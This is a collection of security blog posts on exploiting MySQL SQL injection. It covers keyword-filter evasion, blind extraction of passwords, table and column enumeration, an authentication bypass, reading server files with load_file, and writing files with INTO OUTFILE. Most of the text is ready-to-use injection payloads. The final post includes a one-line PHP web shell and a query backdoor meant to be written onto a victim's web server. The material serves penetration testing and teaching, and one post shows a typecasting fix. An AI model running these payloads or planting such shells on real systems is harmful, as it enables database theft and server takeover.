Exploiting hard filtered SQL Injections

March 19, 2010

While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance.

For the following examples I’ll use this basic vulnerable PHP script:

<?php
// DB connection

$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);

$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

if($data = @mysql_fetch_array($result))
	echo "Welcome ${data['name']}";
?>

Note: the webapplication displays only the name of the first row of the sql resultset.

Warmup

Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:

?id=1 and 1=0-- -
?id=1 and 1=1-- -

You also might want to see all usernames by iterating through limit (x):

?id=1 or 1=1 LIMIT x,1-- -

But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.

So you would like to know what the table and column names are and you try the following:

?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

After you have found interesting tables and its column names you can start to extract data.

?id=1 and 1=0 union select null,password,null from users limit 1,1-- -

Ok thats enough for warming up.

Whitespaces, quotes and slashes filtered

Of course things aren’t that easy most time. Now consider the following filter for some extra characters:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes

As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).

?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).

?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#

Instead of a quoted string we can use the SQL hex representation of the found table name:

?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#

Nice.

Basic keywords filtered

Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id)) 
	exit('attack'); // no sqli keywords

For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:

?id=1#
?id=2-1#

To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:

?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#

This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.

WHERE alternative

The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:

?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#

This will definitely fit into 1024 chars, but you can also use database() to get the current database name:

?id=(0)union(select(0),database(),(0))#

Lets assume your database name is “test” which hex representation is “0x74657374″. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:

?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#

Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:

?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#

We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#

Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.

intermediate result

What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#

advanced keyword filtering

Now its getting difficult. The filter also checks for all keywords previously needed:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id)) 
	exit('attack'); // no sqli keywords
if(preg_match('/(union|select|from|having)/i', $id)) 
	exit('attack'); // no sqli keywords

What option do we have left?

If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:

?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))

This will return the length of the file content or – if the file could not be read – a “1” and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:

?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)

(while $char is the character in sql hex which is compared to the current character of the file at offset $x)

We bypassed the filter but it requires the FILE privilege.

filtering everything

Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id)) 
	exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id)) 
	exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id)) 
	exit('attack'); // no sqli comments

The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?

We cant use procedure analyse() because it needs a space and we cant use the ‘1’%’0′ trick. Basically we only have special characters left, but that is often all we need.

We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:

?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a':

?id=1&&mid(pass,1,1)=(0x61);%00

We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:

?id=2&&mid(pass,1,1)=(0x61);%00
?id=3&&mid(pass,1,1)=(0x61);%00

Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:

?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

The first attempt could be:

?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

That does not work because the “OR 1=1″ at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1″ at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s:

?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.

filtering everything and even more

What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id)) 
	exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id)) 
	exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id)) 
	exit('attack'); // no sqli comments
if(preg_match('/(=|&|\|)/', $id)) 
	exit('attack'); // no boolean operators

Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:

?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00

The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators?

After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin':

?id=if((name)like(0x61646D696E),1,0);%00

This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:

?id=if((name)like(0x61646D696E),id,0);%00

Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:

?id=
if(
  // if (it gets true if the name='admin')
	if((name)like(0x61646D696E),1,0),
  // then (if first password char='a' return admin id, else 0)
	if(mid((password),1,1)like(0x61),id,0),
  // else (return 0)
	0
);%00

Injection in one line:

?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00

Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet!

Conclusion

(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.

If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ?

Edit:
Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query.

Here is a safe patch for the example:

$id = (int) $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

For more details have a look at the comments.

More:
Part2, Part 3, SQLi filter evasion cheatsheet


MySQL table and column names (update 2)

November 26, 2009

Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ‘1’%’0′ in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment:

I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name.
It is using the 1%0 trick and MySQL subqueries.

I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries”

You’d better read this in order to understand what’s next:

http://dev.mysql.com/doc/refman/5.0/en/row-subqueries.html

The hint is “The row constructor and the row returned by the subquery must contain the same number of values.”

Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name.
The sql query is expecting only one row as result.

Here is our input:
‘ AND (SELECT * FROM USER_TABLE) = (1)– -

MySQL answer:
“Operand should contain 7 column(s)”

MySQL told us that the table USER_TABLE has 7 columns! That’s great!

Now we can use the UNION and 1%0 to retrieve some column’s name:

The following query shouldn’t give you any error:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– -

Now let’s try with the first colum, simply add %0 to the first column in the UNION:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– -

MySQL answer:
“Column ‘usr_u_id’ cannot be null”

We’ve got the first column name: “usr_u_id”

Then we proceed with the other columns…

Example with the 4th column:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– -

if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name!

So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1.
Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0″ or just “null” does not work, at least I couldn’t find any other. For ‘1’%’0′ you can also use mod(‘1′,’0′).

Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice :)

update:
you can find some more information here.

More:
update1


MySQL table and column names (update)

January 26, 2009

While reading at sla.ckers.org about some ways to get a SQL injection working if your injection point is behind a “group by” and a “limit” clause, Pragmatk came up with the PROCEDURE ANALYSE operation (available on MySQL 3/4/5) I didnt knew of yet. Although it didnt quite solve the actual problem, because it seems that you cant build some dynamic parameters for the ANALYSE function so that you could build blind SQLi vectors, it does give you information about the used database, table and column names of the query you are injecting to.
So this is another way of finding table and column names on MySQL without using the information_schema tables or load_file(). Unfortunetly you will only get the names of the columns and tables in use, but at least it will make guessing easier or maybe some columns are selected but not displayed by the webapp so that you can union select them on a different position where they do get displayed.

Here is an example: Lets assume a basic SQL query you will encounter quite often:

SELECT id, name, pass FROM users WHERE id = x

while x is our injection point. Now you can use

x = 1 PROCEDURE ANALYSE()

to get all column names, including the database and table name currently selected. You will see something like this:

test.users.id
test.users.name
test.users.pass

Depending on the webapp you will need to use LIMIT to enumerate the result of PROCEDURE ANALYSE() line by line which contains the names in the first column of each row:

x = 1 PROCEDURE ANALYSE() #get first column name
x = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name

With that said it is neccessary that the webapp will display the first selected column, because PROCEDURE ANALYSE will reformat the whole result with its information about the columns which is normally used to identify the best datatype for this column.
Interesting operation, I wonder if there are any other I dont know of yet which can be useful in the right circumstances.

More:
update2


MySQL Authentication Bypass

September 9, 2008

I used this trick already to circumvent the PHPIDS filters in some earlier versions and mentioned it shortly in my article about MySQL Syntax. However when I used the same trick to circumvent the GreenSQL database firewall I noticed that this MySQL “bug” is not well known and so I decided to shortly write about it.
Take a look at the following unsecure SQL query:

SELECT * FROM table WHERE username = ‘$username‘ and password = ‘$password

Everyone knows about the simple authentication bypass using ‘ OR 1=1/* as username or perhaps ‘ OR 1=’1 for both inputs. But what MySQL allows too is a direct comparisons of 2 strings:

SELECT * FROM table WHERE username = ‘string’=’string‘ and password = ‘string’=’string

Therefore you dont need any Operators like “OR” which are mostly detected by filters. To shorten your vector you can also use an emtpy string, narrowing your SQL injection to:

username: ‘=’
password: ‘=’

Which ends in:

SELECT * FROM table WHERE username = ‘‘=’‘ and password = ‘‘=’

and successfully bypasses authentication on MySQL. Of course you can use other operators then “equal” and use whitespaces and prefixes to build more complex vectors to circumvent filters. Please refer to the MySQL syntax article. I have also tested this behavior on MSSQL, PostgreSQL and Oracle which does not have the same behavior.

What MySQL seems to allow is a triple comparison in a WHERE clause. That means you can use:

SELECT * FROM users WHERE 1=1=1
SELECT * FROM users WHERE ‘a’=’a’=’a’

Interestingly the following queries also work:

SELECT * FROM users WHERE ‘a’=’b’=’c’
SELECT * FROM users WHERE column=’b’=’c’
SELECT * FROM users WHERE column=column=1

That means if you compare strings it doesnt matter if they are equal and it seems like if you compare columns with Strings or Integers they will get typecasted.

Lastly I would like to recommend a great article from Stefan Esser about another authentication bypass on MySQL.

updated:
MySQL does not consider this as a bug. Please refer to the bugreport for detailed information. Again this shows how flexible the MySQL syntax is (intentionally).


MySQL table and column names

November 17, 2007

Getting the table and column names within a SQL injection attack is often a problem and I’ve seen a lot of questions about this on the internet. Often you need them to start further SQLi attacks to get the data. So this article shows you how I would try to get the data in different scenarios on MySQL. For other databases I recommend the extensive cheat sheets from pentestmonkey.

Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.

article overview

For the following injections I’ll assume you understand the basics of SQL injection and union select. My injections are written for a SELECT query with two columns, however don’t forget to add nulls in the right amount.

1. The information_schema table

1.a. Read information_schema table normally

Sometimes on MySQL >=5.0 you can access the information_schema table.
So you may want to check which MySQL version is running:
0′ UNION SELECT version(),null /*
or:
0′ UNION SELECT @@version,null /*

Once you know which version is running, proceed with these steps (MySQL >= 5.0) or jump to the next point.

You can either get the names step by step or at once.

First, get the tablenames:
0′ UNION SELECT table_name,null FROM information_schema.tables WHERE version = ‘9
Note that version=9 has nothing to do with the MySQL version. It’s just an unique identifier for user generated tables, so leave as it is to ignore MySQL system table names.
update: Testing another MySQL version (5.0.51a) I noticed that the version is “10” for user generated tables. so dont worry if you dont get any results. instead of the unique identifier you can also use “LIMIT offset,amount”.

Second, get the columnnames:
0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename

Or with one injection:
0′ UNION SELECT column_name,table_name FROM information_schema.columns /*
Unfortunetly there is no unique identifier, so you have to scroll through the whole information_schema table if you use this.

If the webapplication is designed to output only the first line of the resultset you can use LIMIT x,1 (starting with x=0) to iterate your result line by line.

0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 3,1

Also, you can use group_concat() to concatenate all table/column names to one string and therefore also return only one line:

0′ UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = ‘tablename

Once you know all table names and column names you can union select all the data you need.

For more details about the information_schema table see the MySQL Documentation Library. There you’ll find other interesting columns you can add instead of null, for example data_type.

Ok, that was the easiest part.

1.b. Read information_schema table blindly

Sometimes you can’t see the output of your request, however there are some techniques to get the info blindly, called Blind SQL Injection. I’ll assume you know the basics.
However, make sure you really need to use blind injection. Often you just have to make sure the actual result returns null and the output of your injection gets processed by the mysql_functions instead. Use something like AND 1=0 to make sure the actual output is null and then append your union select to get your data, for example:
1′ AND 1=0 UNION SELECT @@version,null /*

If you really need blind SQL injection we’ll go through the same steps as above, so first we try to get the version:
1’AND MID(version(),1,1) like ‘4

The request will be successfull and the same page will be displayed like as we did no injection if the version starts with “4”. If not, I’ll guess the server is running MySQL 5. Check it out:
1’AND MID(version(),1,1) like ‘5

Always remember to put a value before the actual injection which would give “normal” output. If the output does not differ, no matter what you’ll inject try some benchmark tests:
1′ UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(‘test’)), ‘false’)),null /*
But be careful with the benchmark values, you dont want to crash your browser ;-). I’d suggest you to try some values first to get a acceptable response time.

Once we know the version number you can proceed with these steps (MySQL >= 5.0) or jump to the next point.

Since we cant read out the table name we have to brute it. Yes, that can be annoying, but who said it would be easy?
We’ll use the same injection as in 1.), but now with blind injection technique:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > ‘m

Again, this will check if the first letter of our first table is alphabetically located behind “m”. As stated above, version=9 has nothing to do with the MySQL version number and is used here to fetch only user generated tables.
Once you got the right letter, move on to the next:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > ‘m
And so on.

If you got the tablename you can brute its columns. This works as the same principle:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),1,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),2,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),3,1) > ‘m
And so on.

To check the next name, just skip the first bruted tablename with LIMIT (see comments for more details about the index):
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1,1),1,1) > ‘m
Or columnname:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1,1),1,1) > ‘m

Sometimes it also makes sense to check the length of the name first, so maybe you can guess it easier the more letters you reveal.
Check for the tablename:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),6,1)=’
Or for the column name:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),6,1)=’
Both injections check if the sixth letter is not empty. If it is, and the fifth letter exists, you know the name is 5 letters long.

Since we know that the information_schema table has 33 entries by default we can also check out how many user generated tables exist. That means that every entry more than 33 is a table created by a user.
If the following succeeds, it means that there is one user generated table:
1′ AND 34=(SELECT COUNT(*) FROM information_schema.tables)/*
There are two tables if the following is true:
1′ AND 35=(SELECT COUNT(*) FROM information_schema.tables)/*
And so on.

2. You don’t have access to information_schema table

If you don’t have access to the information_schema table (default) or hit a MySQL version < 5.0 it’s quite difficult on MySQL.
There is only one error message I could find that reveals a name:
1’%’0
Query failed: Column ‘id’ cannot be null

But that doesnt give you info on other column or table names and only works if you can access error messages. However, it could make guessing the other names easier.

If you don’t want to use a bruteforce tool we will have to use load_file. But that will require that you can see the output of course.

“To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.”

You can read out max_allowed_packet on MySQL 5
0′ UNION SELECT @@max_allowed_packet,null /*
Mostly you’ll find the standard value 1047552 (Byte).

Note that load_file always starts to look in the datadir. You can read out the datadir with:
0′ UNION SELECT @@datadir,null /*
So if your datadir is /var/lib/mysql for example, load_file(‘file.txt’) will look for /var/lib/mysql/file.txt.

2.a. Read the script file

Now, the first thing I would try is to load the actual script file. This not only gives you the exact query with all table and column names, but also the database connection credentials. A file read could look like this:

0′ UNION SELECT load_file(‘../../../../Apache/htdocs/path/file.php’),null /* (Windows)
0′ UNION SELECT load_file(‘../../../var/www/path/file.php’),null /* (Linux)

The amount of directories you have to jump back with ../ is the amount of directories the datadir path has. After that follows the webserver path.
All about file privileges and webserver path can be found in my article about into outfile.
Once you got the script you can also use into outfile combined with OR 1=1 to write the whole output to a file or to set up a little PHP script on the target webserver which reads out the whole database (or the information you want) for you.

2.b) Read the database file

On MySQL 4 and 5 you can also use load_file to get the table content.

The database files are usually stored in
@@datadir/databasename/

Take a look at step 2. how to get the datadir. An injection we need to read the database content looks like this:

0′ UNION SELECT load_file(‘databasename/tablename.MYD’),null /*

As you can see we need the databasename and tablename first. The databasename is easy:
0′ UNION SELECT database(),null /*

The table name is the hard part. Actually you can only guess or bruteforce it with a good wordlist and something like:

0′ UNION SELECT ‘success’,null FROM testname /*

This will throw an error if testname does not exists, or display “success” if tablename testname exists.
If you try to guess the name, have a look at all errors, vars and html sources you can get to get an idea of how they could have named the table / columns. Often it is not as difficult as it seems first.
You can find a small wordlist for common tablenames here (by Raz0r) and here.

Also note that the file loaded with load_file() must be smaller than max_allowed_packet so this wont work on huge database files, because the standard value is ~1 MB which will suffice for only about 100.000 entries (if my calculation is right ;-))

(2.c. Compromising the server)

There are no other ways to get the data as far as I know, except of compromising the server via MySQL into outfile or with other techniques which are beyond the scope of this article (e.g. LFI).

If you do have any other clever ways I don’t know of or feel I’m in error on some facts, PLEASE contact me.

UPDATE: have a look at this post about PROCEDURE ANALYSE to get the names of the database, table and columns which are used by the query you are injecting to.

UPDATE2: also have a look at this post.


MySQL into outfile

November 17, 2007

This article will be about into outfile, a pretty useful feature of MySQL for SQLi attackers. We will take a look at the FILE privilege and the web directory problem first and then think about some useful files we could write on the webserver.

Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.

As in the previous articles I’ll assume you know the basics about SQL injection and union select.

1.) The FILE privilege

If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first:
0′ UNION SELECT current_user,null /*
or:
0′ UNION SELECT user(),null /*
This will give us the username@server. We’re just interested in the username by now.

You can also use the following blind SQL injections if you cant access the output of the query.
Guess a name:
1′ AND user() LIKE ‘root
Brute the name letter by letter:
1′ AND MID((user()),1,1)>’m
1′ AND MID((user()),2,1)>’m
1′ AND MID((user()),3,1)>’m

Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5):
0′ UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username

You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection:

1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y
(one column only, do not add nulls here, it’s not a union select)

You can also recieve the FILE privilege info from the information.schema table on MySQL 5:
0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%

blindly:
1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y

If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try.
If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE.

2.) The web directory problem

Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory.

On MySQL 4 we can get an error message displaying the datadir:
0′ UNION SELECT load_file(‘a’),null/*

On MySQL 5 we use:
0′ UNION SELECT @@datadir,null/*

The default path for file writing then is datadir\databasename.
You can figure out the databasename with:
0′ UNION SELECT database(),null/*

Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir.

If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx

To provoke an error like this try something like:
0′ AND 1=’0

This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include

Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out:
0′ UNION SELECT @@version,null /*
-nt-log at the end means it’s a windows box, -log only means it’s *nix box.
Or take a look at the paths in error messages or at the header.

Typical web directories to guess could be:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/

Use google to get some more ideas.

Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access.

3.) create useful files

Once you figured out the right directory you can select data and write it into a file with:
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
(How to figure out column/table names, see my article about MySQL table and column names)

Or the whole data without knowing the table/column names:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt

If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE.

You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace.
0′ AND 1=0 UNION SELECT load_file(‘…’) INTO OUTFILE ‘…

In some cases I’d recommend to use
0′ AND 1=0 UNION SELECT hex(load_file(‘…’)) INTO OUTFILE ‘…
and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files.

Or you can write whatever you want into a file:
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php

Here are some useful code examples:
// PHP SHELL
<? system($_GET['c']); ?>
This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet.
Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes.

// webserver info
Gain a lot of information about the webserver configuration with:
<? phpinfo(); ?>

// SQL QUERY
<? ... $result = mysql_query($_GET['query']); ... ?>
Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect.

